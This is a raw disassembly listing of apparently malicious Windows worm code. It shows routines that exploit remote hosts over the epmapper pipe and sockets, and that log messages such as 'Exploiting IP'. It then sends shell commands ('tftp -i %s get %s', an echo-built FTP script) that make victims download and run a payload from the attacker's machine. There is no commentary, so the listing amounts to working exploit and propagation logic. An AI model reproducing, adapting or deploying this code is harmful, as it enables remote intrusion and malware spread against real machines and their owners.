		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 26803B2h
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43285C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 27107B7h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670000h
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	near ptr 26F1066h
		nop
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA6C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		nop
		call	near ptr 26803B2h
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		nop
		call	near ptr 26803B2h
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	ebx
		call	dword_4CBA6C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
